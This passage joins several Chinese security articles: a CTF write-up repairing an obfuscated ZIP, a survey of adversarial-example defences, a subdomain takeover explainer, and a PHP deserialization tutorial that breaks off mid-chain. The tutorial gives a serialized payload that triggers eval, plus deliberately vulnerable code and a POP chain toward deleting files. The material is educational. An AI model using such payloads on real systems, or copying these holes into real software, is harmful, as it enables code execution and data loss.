并且他们是有对应的关系的，压缩包中的一个文件实体对应一个文件头。目录源数据（Central Directory）是由多个文件头（File
header）组成，在。其中的关系基本如下。
## 4.压缩包各部分详细介绍。
#### 1.文件实体（File Entry）
文件实体通常又包括两部分：文件实体头（File Entry Header），数据描述（Data descriptor）两部分组成
**1.1文件实体头（File Entry Header）**
文件实体头部通常包含着文件的主要信息，包括文件的名称，文件的大小，文件的内容，文件的校验值，或者其他的等等。以`504b0304`开始
对应的编码如下。注意：图中所有关于十六进制都是从高位到低位写的，winhex中正好相反，所以图中`0x04034b50`,在winhex中显示为`50 4b
03 04`。
拿个压缩包尝试看下，新建文件"1"，然后在里面写进内容`dasdasdasdasdadas`然后添加到压缩文件。用WINHEX打开得到如图，我们从分析文件实体部分开始（`504b0304`）一直分析到目录源数据（`504b0102`）。
`504b0304`文件实体的固定值，`0a00`解压缩版本，`0000`标志（通常伪加密是在这），`0000`压缩方式，`1096`文件的最后修改时间，`594d`文件的最后修改日期。`84e45592`文件的CRC
32值
`14000000`压缩后的打小，`14000000`压缩前的大小，`0100`文件名称的长度（实际压缩读写的时候是按照0001来读取的），所以长度就是1，拓展长度为`0000`，文件名称为`31`（ascii对应为1）`6461736461736461736461736461736461646173`为拓展字段也就是压缩过的数据，这里因为我压缩的是纯文本而且并没有加密，我们直接看到其中的内容为可以直接显示`dasdasdasdasddadas`。
**1.2数据描述符（Data descriptor）**
用于表示文件压缩结束，只有在文件实体中通用标记字段的第3bit位为1时才会出现。一般zip上没有这个数据描述符，对应的编码格式如下。
#### 2.目录源数据
目录源数据通常由多个文件头（File
Header）组成。主要记录被压缩文件的目录结构，以及被压缩文件的属性，包括文件长度，压缩之后的长度，文件注释等。一个文件实体与一个文件头相对应。
**2.1 文件头（File Header）：**
通常以`504b0102`标识开头。对应的编码如下
还是拿刚才那个压缩包我们接着分析他的目录源数据从`504b0102`开始。`504b0102`目录源数据的固定值，`3F00`压缩版本，`0A00`解压缩版本，`0000`标志，`0000`压缩方式，`1096`文件的最后修改时间，`594d`文件的最后修改时期，`84e45592`文件的`CRC32`校验值，`14000000`文件压缩后的大小，`14000000`文件的压缩前的大小，`0100`文件的名称长度，拓展字段长度`2400`等等就不再一一写了，一直到`504b0506`。
**3.目录结束标识**
在目录源数据结束后，用于标记目录数据的结束，每个压缩文件有且只有一个。对应的编码格式如下
到这里压缩包的知识我们就看的看不多了，我们做个小小的总结发现压缩包的编码其实部分是一一对应的，比如我们添加标注的这些信息（标红）的这些信息，在文件实体中和在目录源数据中他们是一一对应的。我们可以通过其中之一推出另外一个。这样我们就可以根据这些对应关系将混淆的这些编码去掉。思路出来了我们回头做CTF题目。
## 5.题目解析
首先我们先找出所有的文件实体，搜索`504b0304`然后整理换行起码看着舒服，因为`504b0304`也可能被混淆接着我尝试搜`4b0304`果然找到了。为了确认是不是文件实体，我们核对下后面的压缩方式等信息，之后确认将？替换成5
修复之后发现三个文件实体`504b0304`，那对应的最少应该有三个目录源数据，然后搜索找找有没有跟`504b0102`很像的组合。找到了`50>b0102140000a000;`如下图。发现跟目录源数据`504b0102`的头很像，仔细核对后面的信息确认猜测，`>`替换成`4`，同时将`;`替换成`9`
替换之后我们重新整理下文件将文件实体，目录源数据分别整理出来，得到如下效果图
现在整体一看整个压缩包大致有个样子，四个文件实体，四个目录源数据，一个目录结束标识。仔细看下每个文件实体都有对应的文件描述`504b0708`，根据文件描述的文件头编码表,我们将相应的混淆替换掉。将`=`替换为`7`，将`：`替换为`8`，将`p`替换成`0`
替换完成后仔细观察下好像文件标识没办法再替换了，那我们接着往下推利用`crc`校验值，文件名等来推，根据第一个文件实体对应的文件描述，我们可以根据`CRC32`校验值来将一些字符替换掉。如下图。将`\xe58`替换为`E8`
同理第二个文件实体对应的文件描述的`CRC32`位校验值也应该是一样的，我们将第二个实体对应的字符串替换掉，如下图。将`0x038` 替换成`C8`
同理第四个文件实体的`CRC32`校验值与文件描述，以及第四个目录源数据对应CRC32位校验值也应该是一样，将文件目录源数据`50b0102`混淆字符串替换掉，如下图。将`\xe2A`替换为
`BA`
根据同样的原理利用第三个目录源数据的CRC32位校验值混淆字符串替换掉。如下图。将<替换成6。
我们接着从第一个文件实体往后看，发现第一，二个文件实体混淆字符串已经被替换没了。那我我们就看看文件叫什么名字吧，先看看文件名称长度，对照着顶部文件实体表，发现文件名称长度为`0005`。文件的名称为`662e747874`，转码一下发现`f.txt`，相信嗅觉灵敏的小伙伴肯定觉得不一般，猜想会不会压缩包里面是`f.txt，l.txt，a.txt，g.txt`。大致一看确实存在这种可能，因为确实有四个文件实体。用同样的方法查看第二个文件名称，确实`6C2E747874`就是`l.txt`，基本可以确定后面两个文件的文件名称，然后将四个文件名称在文件实体`504b0304`，文件描述`504b0708`，目录源数据`504b0102`对应位置替换，如下图。把`~`替换为`4`，将`r`替换为`2`，将`z`替换成`8`，最后根据拓展长度将`q`替换成`1`
到这里我们把所有的混淆替换掉了。这里贴出来最后去过混淆的字符串。
`504B03040A000900000044490A477E8BB5F4120000000600000005000000662E7478741716518DC72E49DFB8DB31631B5DAEC42F90504B07087E8BB5F41200000006000000504B03040A000900000053490A47C874AAA51200000006000000050000006C2E7478741716518DC72E49DFB8DB261BAA24C6A6CB3B504B0708C874AAA51200000006000000504B03040A000900000034620A4745D600C1120000000600000005000000612E7478741716518DC72E49DFB8DB414A032A257BE2F9504B070845D600C11200000006000000504B03040A00090000007D490A47642CBAEE120000000600000005000000672E7478741716518DC72E49DFB8DB080A066FF02FFEC5504B0708642CBAEE1200000006000000504B010214000A000900000044490A477E8BB5F41200000006000000050000000000000001002000000000000000662E747874504B010214000A000900000053490A47C874AAA512000000060000000500000000000000010020000000450000006C2E747874504B010214000A000900000034620A4745D600C1120000000600000005000000000000000100200000008A000000612E747874504B010214000A00090000007D490A47642CBAEE12000000060000000500000000000000010020000000CF000000672E747874504B05060000000004000400CC000000`
思路也有了修复出来压缩包。打开`f.txt，l.txt，a.txt，g.txt`。但是相信细心的小伙伴在复原的时候都会发现，每个文件实体对应的标志都是0900，这就意味着压缩包是加密的。我们试试，在`WINHEX`打开一个新文件，然后刚才还原的字符串粘贴为HEX。保存为233.zip。用360打开发现，确实存在密码，四个文件。如下图所示
想着暴力破解，无果，大佬给了个提示`crc32`，瞬间觉得自己嗅觉太差。因为题目都写着宇宙的一切答案32。然后用`WINRAR`打开想直接找`CRC32`校验值，为毛只有一个文件…。难道我修复错了。
仔细想想不可能。360都能解压，那问题可能是出在目录结束标识那`504b0607`，因为他记录着目录的偏移量，只有找到目录源数据`504b0102`的偏移量，`WINRAR`才能读出来整个文件的目录结构。找到`504b0506`，对照表，找到文件偏移量对应位置，发现刚好没有…23333。那我们就给他补充一个，首先找到第一个目录源数据`504b0102`算算前面一共552个16进制，那也就是227字节，转化为16进制114，那就应该填充的字符为`14010000`，最后补上。重新保存下。打开就没问题。然后就`crc32`碰撞出里面的内容。这里要说下，`GITHUB`上`CRC32.py`是不包括特殊字符的，（刚开始我怎么弄，就是找不出来可疑字符的原因）。我们需要手动补充下特殊字符，编辑`crc32.py`，然后添加你认为可能出现的字符串。如图
碰撞出来的结果为：`cr4ck_ crc32_ _is_s0_ e4sy_`
答案是将这四个字符拼接。小菜初次发文，有问题请大佬轻喷。 | 社区文章 |
# 如何防御对抗攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
对抗攻击从2013年被Szegedy等人提出之后，截止目前，已经被研究的很深入了，相关文章也呈爆炸增长
上图是发在arxiv上的有关对抗攻击的文章数量，该领域的火爆程度可见一斑。
现在如果这个时候要进入对抗攻击领域，可能需要往三条路去探索：1.寻找新的应用场景；2.设计的新的算法；3.研究如何规避已有防御方案。
为了方便第三条研究路线的探索，本文归纳分析已有防御方案特点。
## 对抗攻击
什么是对抗样本？
对抗样本(adversarial
example)是指在原数据集中通过人工添加肉眼不可见或在经处理不影响整体的肉眼可见的细微扰动所形成的样本,这类样本会导致训练好的模型以高置信度给出与原样本不同的分类输出。
其中说的扰动(perturbation)是对抗样本生成的重要部分.一般来说,扰动需要有两个方面的要求:一是要保证其微小性,达到添加后肉眼不可见或者肉眼可见但不影响整体的效果;二是将其添加到原有图像的特定像素上之后,所产生的新图像具有迷惑原有分类深度模型的作用。
如果将对抗样本输入到深度学习模型里，可以引发模型的分类出现错误。现有的模型很容易受到对抗样本的攻击，它可以使模型产生误判，对抗攻击的流程中我们知道，会涉及输入样本以及模型两个关键组成部分。那么我们要进行防御的话也从这两个方向来做就可以了，对于样本的话，可以进行检测判断其是否为对抗样本，以及对其进行转换，消除对抗扰动特有的对抗扰动；而对于模型，则可以修改模型结构或者训练过程来增强模型的面对对抗攻击时的鲁棒性。我们接下来从模型和样本两方面来归纳分析代表性的防御方案。
## 防御
### 基于模型的防御
**对抗训练**
对抗训练是在训练集中加入对抗样本，以提升模型的鲁棒性。
对抗训练也可以分为两种，一般的对抗训练[1]所添加的对抗样本是通过攻击自身模型产生的，还有一种对抗训练方法[2]加入的对抗样本则是通过攻击其他模型产生的，通过增加对抗样本的多样性，提升了模型低于其他对抗攻击的鲁棒性。
具体而言，[1]从鲁棒优化的角度研究了神经网络的对抗鲁棒性，使用min-max公式将攻击与防御纳入一个共同的理论框架，这本质上是一个鞍点问题，而末尾呢可以通过对抗训练直接对其进行优化。问题如下
我们将p量化为网络的对抗损失。该问题的内部是最大化问题，外部是最小化问题的组合。内部的最大化问题的目标是找到给定数据点x的一个具有高损失的对抗样本，这正是对抗攻击的目标，而另一方面，外部最小化问题的目标是寻找模型参数，使得内部问题给出的对抗损失最小化，这正是模型的对抗鲁棒性的目标。这篇文章就是解决了这种鞍点问题在神经网络环境下的求解，从而实现对抗训练提升模型的对抗鲁棒性。其中一部分实验结果如下
图中所示是对抗样本在训练期间的交叉熵损失，可以看到，在MNIST和CIFAR10上使用PGD攻击时对抗损失在持续下降，这意味着通过对抗训练，模型已经越来越鲁棒了。
[2]指出，由于对抗样本在模型之间可以迁移，在其他模型上生成的扰动是[1]所提公式中最大化问题的很好的近似，而其训练的模型不会影响这些对抗样本的强度，因为最小化训练损失的问题意味着增加了对来自其他模型的黑盒攻击的鲁棒性。部分实验结果如下
其中Step-LL是FGSM的一种变种，由其生成的对抗样本可以表示为
而Max.Black-Box是几种黑盒攻击(Step-LL,R+step-LL,FGSM,I-FGSM,PGD等)中具有最高错误率的数据。第一类中下标为adv-ens*的表示是通过集成对抗训练得到的模型，从表中数据可以看到，集成对抗训练得到的模型的错误率是最低的，说明其鲁棒性最佳。
[16]通过GAN，用两个网络交替训练，一个网络生成对抗样本，另一个网络尝试进行区分，通过相互博弈，他们构造的分类网络具有更高的鲁棒性，同时也可以检测对抗样本。GAN中的两个网络实际上是在通过值函数V(G,D)进行双方参与的min-max博弈：
这种博弈会迫使两个模型都提高自己的能力，直到鉴别器无法区分生成的样本与原样本。[16]将该方案应用于提升模型的对抗鲁棒性，示意图如下
使用生成器G生成扰动，该扰动可以利用每个图像的梯度欺骗分类器网络，而在分类器网络F这边，训练其对G生成的对抗样本与原样本进行区分
生成器是其中的关键，其损失函数定义如下
上式包括两个部分，一个是损失函数，这是用于寻找可以降低被F正确分类概率的扰动图像，另一个是代价函数，用于限制扰动功率，使其不要太大，而cg是用于调节两个函数之间比率的超参数。分类器F的损失函数基于对抗目标函数，表示如下
部分实验结果如下
图中，a,b分别是在不同数据集上实验，黑线代表使用GAN训练得到的模型在面对对抗样本攻击时的准确率变化，红线是基础的对抗训练，蓝线是正常训练，从图中可以看到GAN训练得到的对抗鲁棒性高于基础的对抗训练，高于正常训练。
**梯度隐藏**
大多数攻击算是会使用模型的梯度信息来生成对抗样本(FGSM.BIM等)，我们已经知道对于不可微分的模型（决策树、KNN,随机森林）基于梯度的攻击是无效的，因此可以通过隐藏模型的梯度信息实现防御。
[3]提出Deep Contractive network(DCN),通过在训练过程中引入contractive
autoencoder（CAE）平滑惩罚项，使得模型的输出变化对输入敏感性降低，从而达到隐藏梯度信息的目的。理想情况下，DCN模型会惩罚下面的目标
但是上式计算代表高昂，因为需要在反向传播的每一层上计算偏导数，因为可以将上式简化如下
此时逐层压缩penalty使得计算偏导数的方法与CAE中的相同，并且很容易并入反向传播过程。
部分结果结果如下
从表中可以看到，DCN相比于原模型而言，要求对抗样本提升失真率才能发动攻击，说过DCN相比于一般模型具有更强的鲁棒性。
[4]提出了防御蒸馏，利用蒸馏方法，但是不改变模型的规模，只是为了让模型的输出更平滑，鲁棒性更高。该方案的示意图如下
首先在soft温度条件下，在训练集X上训练一个初始网络F，然后得到其预测向量F(X)，使用其中含有的类概率知识，在温度T下对同样的数据X训练蒸馏网络Fd
该方案背后的核心思想是，通过蒸馏提取的知识以概率向量的形式传给别的网络，可以维持与原网络相近的准确率，同时可以提升网络在训练集外的泛化能力，从而增强其对与扰动的抗干扰能力，即鲁棒性。部分实验结果如下
从图中可见，没有应用蒸馏时，对抗攻击的成功率在MNIST上为95.89%,在CIFAR10上为87.89%，而应用蒸馏后，在一定程度上温度越高，鲁棒性越强，从图中可以看到，对于MNIST数据集而言，当温度为40和100时鲁棒性最强，对于CIFAR10而言，温度达到100时其鲁棒性最强。
[5]使用输入梯度正则化进行训练，在目标函数上惩罚输出对于输入的变化程度，在一定程度上限制小的对抗扰动不会大幅改变最终模型的预测结果，提升了模型的鲁棒性。该方案是通过最小化网络的energy以及其相对于输入特征的变化率来进行训练，表示如下
可以更精确的表示为
其中的lamda是指定惩罚力度的的超参数。
这种方案的目标是确保输入的任何微小变化，预测和标签之间的KL散度不会发生显著改变，将其应用于模型训练中可以提升模型鲁棒性。部分实验结果如下
从上图可以看出，梯度正则化的方案确实极大提升了模型的鲁棒性，此外，如果可以同时结合梯度正则化与对抗训练，模型的鲁棒性会更高。
本质上基于梯度隐藏的方案还有[15]提出一种新的框架，该框架产生的梯度更新信息在统计上难以区分，因此通过梯度正则化，可以去除可能导致对抗样本的显著信息；此外，[11]使用高阶表征引导去噪器(HGD)，训练一个基于神经网络的去噪器来消除对抗扰动也增强了模型的对抗鲁棒性。
### 基于样本的防御
**输入转换**
[6]采用了最常用的5种图像预处理和转换方法，直接对输入的样本同时进行5种转换，提高模型预测对抗样本的准确度。
这5种方法可以进一步分三类，裁减-缩放（cropping-rescaling）、比特位缩减(bit-depth
reduction)以及压缩(compression)是第一类。该类方案通过各种转换方法减少待预测样本中可能存在的扰动量，然后将转换后的样本输入模型进行预测。图像裁剪-缩放可以改变对抗扰动的空间位置，这对攻击的成功是非常重要的，研究人员在训练时间对图像进行裁剪和缩放，作为数据增强的一部分，而在测试时做输入样本做随机裁减，然后取预测的平均。位缩减则是一种
简单的量化操作，从图像中去除像素值的小扰动；压缩也是也类似的方法去除扰动。
第二类是总方差最小化(total variance
minimization)。该方法随机选择一小组像素，并重建与所选像素一致的最简单的图像，重建后的图像不包含对抗扰动，因为这些扰动往往较小并且是局部的。首先通过对每个像素位置(i,
j, k)采样一个伯努利随机变量X(i, j, k)来选择一个随机像素集;当X(i, j, k) =
1时，我们保持一个像素。接下来，我们使用总变差最小化来构造一个图像z，它类似于(扰动的)输入图像x，用于选定的像素集合，同时在总变差方面也是最简单的，通过求解下式即可
上式中的TVp代表总方差，通过下式计算
通过TV的最小化就可以去除小扰动。
第三类方法是图像缝合(image
quilting).该方案通过构建一个只包含来自“干净”图像(没有对抗扰动)的补丁数据库来去除对抗性扰动;合成图像所用的补丁是通过从补丁数据库中的对抗图像中找到对应补丁的K个最近邻(像素空间)，然后均匀随机地选取其中一个近邻来选择的。这种防御方案的背后的思想是，生成的图像只包含没有被攻击者修改过的像素，因为真实补丁的数据库不太可能包含出现在攻击者图像中的结构。部分实验结果如下
图中直观比较了5中处理方案与没有防御的情况的对比，可以看到，提出的5种防御方案的准确率都比没有防御时要高，此外，基于裁减-缩放的方案防御效果最好。
[7]在待预测样本输入到原模型之前增加额外随机化层(包括随机调整大小和随机填充(以随机方式在输入图像周围填充0))，再用原模型预测，处理流程如下所示
输入的图像首先经过随机调整大小，然后在随机调整大小基础上进行随机填充，让模型对填充后的样本进行预测。部分实验结果如下
可以看到随机化层有效地减轻了所有对抗攻击，而且将其与对抗训练联合起来使用时，防御效果更好。
[8]设计了PixelDefend，通过将对抗样本向着训练集中呈现的分布移动，从而“净化”图像。
该方案背后的思想是对输入进行转换，通过对输入样本进行微小变换，可以将它们移回训练数据正常的分布，也就是将图像向高概率的区域移动。该过程可由下式表示
其中p是训练集IDE分布，输入样本为X，我们希望得到处理后的样本为X _，这里的约束Edefend，是用于trade-off的，如果值过大，则X\_
可能与X的语义不同，而值较小，则可能不足以回到正常的分布。研究人员使用PixelCNN的分布pCNN(X)来近似p(X).部分实验结果如下
该表是在Fashion_MNIST数据集上实验时记录的。表中上半部分是基线防御方案的效果，下半不部分是本文的工作的效果，单元格中的格式x/y,其中x表示约束为8时，对图像进行攻击的准确率，y表示约束为5时的准确率。每一列中黑体标出的是最好的情况，从表中可以看出，该方案的效果在大多数情况下都是最优的。
同属于该类的方案还有：[17]在分类之前将位图输入图像转换为矢量图像空间并返回，以避免被对抗结构所欺骗；[9]将连续的输入样本使用温度计编码进行离散化，该方案在训练和预测阶段都使用温度计编码后的样本，限于篇幅不再展开。
**输入检测**
[12]假设对抗样本不在非对抗数据流形中，在此情况下提出核密度法和贝叶斯不确定性估计2种对抗性检测方法。我们知道对抗样本可以让人类正确分类，但是模型却会误分类，我们可以从训练数据的流形的角度来理解这个现象。图像被认为位于低维流形上，有研究表明通过遍历数据流形，可以改变图像的真实类别。这背后的关键思想是，对抗扰动(对于输入没有有意义的改变)需要将样本从数据流形中推出去，对抗样本位于数据子流形边缘的类边界附近，基于这些研究，我们认为对抗样本不存在于数据流形上。假设原样本为x，其类别为cx,生成得到的对抗样本为x
_,x\_ 不在流形中，其类别为cx*。
在二分类情况下，简化的示意图如下，图中对抗样本x*,被从“-”推出，黑色的虚线是决策边界，此时可能有三种情况：
在a中，x离”+”子流形较远；在b中，“+”子流形有一个pocket，x\位于其中；在c中，x*离两个子流形的边界和决策边界都很近。
研究人员在最后一层隐层的特征空间中进行核密度估计，从而对每一类的子流形进行建模，密度估计的公式如下，其可以用于衡量x距离t子流形还有多远
而对于预测类为t的点x，其密度估计定义为：
式中的φ是点x的最后一个隐层的激活向量，Xt是类t的训练集数据点的集合。
对于MNIST数据集，BIM对抗攻击而言，我们画出密度估计如下
从图中可以看到，对原类的估计在下降(蓝色)，对错误类的估计在上升(红色），而交叉点基本在预测类改变的附近(黑线)。所以该方法确实可以检测对抗样本，但是使用密度估计的方法可以仅可以轻易检测出原理cx*子流形的对抗样本，所以引出了第二种方法—贝叶斯不确定性估计，其可以通过下式进行计算
下图比较了对抗样本与正常样本以及噪声样本的贝叶斯不确定分布，对BIM和JSMA都做了实验，从下图的结果可以看到，对抗样本的不确定分布在统计上是不同于其他两类样本的，所以可以通过该方案进行检测。
该类型的其他方案还包括：[13]使用ADN作为二元检测器网络以区分正常样本和对抗样本，[10]利用对抗样本的LID（局部本征维数）远大于正常样本这一性质来区分对抗样本与正常样本.
## 总结
对抗防御的工作远不止本文介绍的这些，限于篇幅，本文仅介绍部分经典工作，不过本文基于防御方案的原理对已有的工作做了合理的划分，如果对某一子方向的感兴趣的话完全可以深入研究。
由本文归纳分析的方案，我们可以看到，基于对抗训练的防御不仅需要大量的正常样本，而且需要大量的对抗样本，极大增加了训练的时间和所需资源，所以该方案很难在实际大规模数据的场景下应用；此外，该方案只能加入由已知攻击技术产生的对抗样本，所以实际上只能在面对同类型攻击时防御才有效，对其他攻击产生的对抗样本不具有鲁棒性。而基于梯度隐藏的方案需要改变模型结构并重新训练分类器，复杂度高。与此同时该方案很容易被绕过，一个简单的方法就是训练一个与被防御的模型相似的替代模型，使用替代模型的梯度来构造对抗样本，从而绕过基于梯度的防御。基于输入转换的防御需要对输入样本进行转换，但是转换之前必须进行检测，对疑似对抗样本的输入样本采取转换措施，不过该方案的FP,TN都较大。基于检测的防御仅限于检测，检测之后如何处理没没有统一的较好的方法。
对抗样本的防御之路任重而道远。
## 参考
1.towards deep learning models resistant to adversarial attacks
2.Ensemble adversarial training:attack and defenses
3.towards deep neural network architectures robust to adversarial examples
4.distillation as a defense to adversarial perturbations against deep neural
networks
5.Improving the Adversarial Robustness and Interpretability of Deep Neural
Networks by Regularizing their Input Gradients
6.Countering Adversarial Images using Input Transformations
7.Mitigating adversarial effects through randomization
8.PixelDefend: Leveraging Generative Models to Understand and Defend against
Adversarial Examples
9.Thermometer Encoding: One Hot Way To Resist Adversarial Examples
10.Characterizing Adversarial Subspaces Using Local Intrinsic Dimensionality
11.Defense against adversarial attacks using high-level representation guided
denoise
12.Detecting adversarial samples from artifacts
13.On Detecting Adversarial Perturbations
14.Intriguing properties of neural networks
15.gradient adversarial training of neural networks
16.Generative adversarial trainer: defense to adversarial perturbations with
GAN | 社区文章 |
# 零、前言
在搜资料的时候偶然发现了这么一种子域名劫持（Subdomain
Takeover）漏洞，平时没遇到过，感觉很有趣，可以利用劫持玩出很多花样，同样，HackOne上也有很多例子：
<https://hackerone.com/reports/172137>
<https://hackerone.com/reports/32825>
<https://hackerone.com/reports/38007>
<https://hackerone.com/reports/175070>
# 一、CNAME解析
CNAME解析是子域名劫持漏洞的关键因素，因此这里我们先简单说一下。我们知道域名解析是由DNS协议完成的，包含了多种记录类型，比如其中的A
(Address)
记录是用来指定主机名（或域名）对应的IP地址记录；NS记录，解析服务器记录，用来表明由哪台服务器对该域名进行解析；而CNAME记录通常也叫别名记录，是一种将一个域名映射到另一个域名的记录。
换句话说，CNAME像是一个域名到另一个域名的解析。如下图所示，是一个域名解析的过程，第3步通过CNAME记录找到了另外的域名，第5步找到了实际的ip地址，最后在第7/8步完成了访问。
# 二、子域名劫持原理
这里先假设一个场景，你申请了一个域名abc.com，那么主站的域名当然www.abc.com
之后为了快速开辟一个新的业务，你直接在阿里云上购买了相应的服务，阿里云分配了你一个二级域名shop.aliyun.com，虽然这个阿里云的二级域名是你独有的，但是你肯定仍然希望能使用自己的域名。这个时候CNAME解析就排上用场了，如下所示，这时候用户只需要访问你的shop.abc.com域名即会解析到shop.aliyun.com上。
一些代码上的手段也能实现域名跳转，但是那种浏览器跳转过去之后就不是本身的域名了，无法让用户记住自己的域名，所以一般会使用CNAME。
直到有一天你想关掉了你的这个业务，最简单的办法就是停掉aliyun的服务，省钱又方便。但是如果你只是关掉了云服务，没有删除CNAME记录，那么这个时候就有可能发生子域名劫持漏洞。因为此时攻击者就可以重新申请的你关掉服务，同样申请一个shop.aliyun.com的域名，当不知情的用户访问shop.abc.com的时候仍然会解析到shop.aliyun.com，而此时的shop.aliyun.com已经被攻击者控制了，攻击者就可以展开劫持攻击。在用户看来访问的shop.abc.com，拥有一个正常的可信的域名，基于这种信任，往往会造成更大的漏洞。
# 三、漏洞利用
子域名劫持可以构造多种利用方式，以如下两种为例。
## 1、网页钓鱼
由于用户对shop.abc.com的访问会解析到攻击者控制的shop.aliyun.com，那么攻击者就可以构造特定的页面诱导用户操作，比如登陆表单、密码表单等，由于浏览器显示的是正常的可信的域名，就算有安全意识的用户也难以分别是否存在钓鱼。
## 2、Cookie操纵
Cookie是用户权限的凭证，一般也会拥有一个特定的作用域。但是现在很多网站使用单点登陆（SSO），那么Cookie就可能是在整个域共享的，当然也包括shop.abc.com，那么攻击者只需要诱导攻击者访问存在漏洞子域名，即可在后台接受到用户的Cookie。
一个典型的例子：<https://hackerone.com/reports/172137>
# 四、漏洞检测
一种是用nslookup手动检测，这是上一个例子里的截图，可以看到ping.ubnt.com解析到了d2cnv2pop2xy4v.cloudfront.net，这是亚马逊的云服务。
另一种是使用工具，一个较好的工具[aquatone](https://github.com/michenriksen/aquatone#installation
"aquatone")，它本身是一个强大的子域名扫描工具，结合了搜索引擎、各大API接口以及爆破等多种手段，它本身还支持其他额外的功能，详情可以参见[这里](http://michenriksen.com/blog/aquatone-tool-for-domain-flyovers/ "这里")。检测之前首先要进行子域名探测，一些API接口需要自己配置APIKey。
探测完成后会生成两个文件，后续其他功能的调用主要依赖hosts.json文件
下图使用aquatone-takeover进行子域名劫持探测
# 五、漏洞防护
防范子域名劫持的最直接的方法就是删除多余的DNS的相关记录，这种情况就是本方也不在使用相关云服务了；另一种方法就是保持对域名的所有权，避免被攻击者恶意申请。 | 社区文章 |
# 反序列化漏洞详解——基础篇
## 简介：
反序列化漏洞是基于序列化和反序列化的操作，在反序列化——unserialize()时存在用户可控参数，而反序列化会自动调用一些魔术方法，如果魔术方法内存在一些敏感操作例如eval()函数，而且参数是通过反序列化产生的，那么用户就可以通过改变参数来执行敏感操作，这就是反序列化漏洞。
**可能看了以上你还是对反序列化漏洞不太理解，那么我们通过学习以下序列化和反序列化的基础知识，相信你会对反序列化漏洞有一个新的认识。**
## 基础知识：
### 什么是序列化和反序列化
序列化是将对象的状态信息转换为可以存储或传输的形式的过程，在序列化期间，对象将当前状态写入到临时或持久性存储区。以后，可以通过从存储区中读取或反序列化对象状态，重新创建该对象。
**简单的来讲：**
序列化：把对象转换为字节序列的过程称为对象的序列化。
反序列化：把字节序列恢复为对象的过程称为对象的反序列化。
**PHP中序列化和反序列化的函数：**
### 什么是魔术方法
**魔术方法是语言中保留的方法名，各个方法会在对应操作时自动调用，下面以PHP语言中的魔术方法来做讲解**
__construct() 当创建对象时触发，一般用于初始化对象，对变量赋初值
__sleep() 使用serialize()时自动触发
__wakeup() 使用unserialize()时自动触发
__destruct() 当一个对象被销毁时触发
__toString() 当一个类被当成字符串使用时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
**还不明白的话，这里给出一个序列化的实例**
<?php
class test{
public $id = 'Baize';
public $name = 'Sec';
}
$test1 = new test();
$test2 = serialize($test1);
print_r($test2);
?>
以上是对test类序列化后输出的例子，效果图如下
## 漏洞原理实例：
**在反序列化时，参数用户可控，魔术方法中存在危害函数，就会产生反序列化漏洞，下面给出一个最简单的实例**
<?php
class test{
var $id = 'Baize';
function __wakeup(){
eval($this->id);
}
}
$test1 = $_GET['string'];
$test2 = unserialize($test1);
?>
**审计代码，总结如下**
1.可控参数是GET型string参数
2.后端接收参数后进行反序列化操作
3.test类中存在__wakeup魔术方法，操作是eval($id)
那么我们思路是：构造test类的序列化字符串，使得反序列化后得$id值为要执行的操作，例如我们要执行phpinfo()，那么可以构造这样一个字符串
O:4:"test":1:{s:2:"id";s:10:"phpinfo();"}
在反序列化后会重新创建该对象test，并且id参数会恢复为我们提交的序列化参数中设定的值，即phpinfo();
，那么我们可以推理出反序列化之后的test对象大致如下
<?php
class test{
var $id = 'phpinfo();';
function __wakeup(){
eval($this->id);
}
}
?>
而反序列化会时会自动调用__wakeup魔术方法，即执行`eval(phpinfo();)`
## 漏洞检测：
**反序列化漏洞的发现一般需审计源码，寻找可利用的pop链**
上面的例子为了让大家理解，较为简单，直接在魔术方法中就有可以利用的漏洞，自动调用魔术方法从而触发漏洞，而实际中基本不会有这种这么简单的，更多的则是需要通过寻找相同的函数名将类的属性和敏感函数的属性联系起来
下面我们就通过两道简单的题目来学习构造简单的pop链来利用反序列化漏洞
## POP CHAIN(POP链)：
### 概念：
通过用户可控的反序列化操作，其中可触发的魔术方法为出发点，在魔术方法中的函数在其他类中存在同名函数，或通过传递，关联等可以调用的其他执行敏感操作的函数，然后传递参数执行敏感操作，即
**用户可控反序列化→魔术方法→魔术方法中调用的其他函数→同名函数或通过传递可调用的函数→敏感操作**
### 实例解析1：
#### 源码：
<?php
class Test1{
protected $obj;
function __construct(){
$this->obj = new Test3;
}
function __toString(){
if (isset($this->obj)) return $this->obj->Delete();
}
}
class Test2{
public $cache_file;
function Delete(){
$file = “/var/www/html/cache/tmp/{$this->cache_file}”;
if (file_exists($file)){
@unlink($file);
}
return 'I am a evil Delete function';
}
}
class Test3{
function Delete(){
return 'I am a safe Delete function';
}
}
$user_data = unserialize($_GET['data']);
echo $user_data;
?>
#### 代码分析：
首先我们看最限制行的操作在最下面反序列化GET到的参数data，然后执行echo $user_data，这里如果$user
_data是一个类实例化来的对象的话，就会触发对象中的\_ _tostring()魔术方法
其次源码中有三个类，分别是Test1，Test2，Test3，依次分析
**Test1：**
class Test1{
protected $obj;
function __construct(){
$this->obj = new Test3;
}
function __toString(){
if (isset($this->obj)) return $this->obj->Delete();
}
}
1.首先声明了$obj变量
2.类中有__construct()和__tostring()魔术方法，__construct()方法为$obj变量赋值为Test3类的实例化对象，__tostring()方法判断如果$obj变量存在则返回调用$obj对象中的Delete()函数
**Test2：**
class Test2{
public $cache_file;
function Delete(){
$file = “/var/www/html/cache/tmp/{$this->cache_file}”;
if (file_exists($file)){
@unlink($file);
}
return 'I am a evil Delete function';
}
}
1.首先声明了$cache_file变量
2.定义了Delete()函数，如果定义的$file变量中的文件存在，则删除此文件并返回提示内容
**Test3：**
class Test3{
function Delete(){
return 'I am a safe Delete function';
}
}
1.定义了Delete()函数,此函数只返回一句话，没有敏感操作，为安全函数
#### POP链构造：
首先出发点是Test1中的__tostring()魔术方法，其中调用了$this->obj中的Delete()函数，而$this->obj是在实例化对象是触发__construct方法，将$this->obj作为实例化Test3类的对象，那么此时调用的就是Test3类中的Delete()函数，只返回一句提示，那么此时的执行流如下
Test1类→__construct()→$this->obj=new Test3→__tostring()→Test3.Delete方法
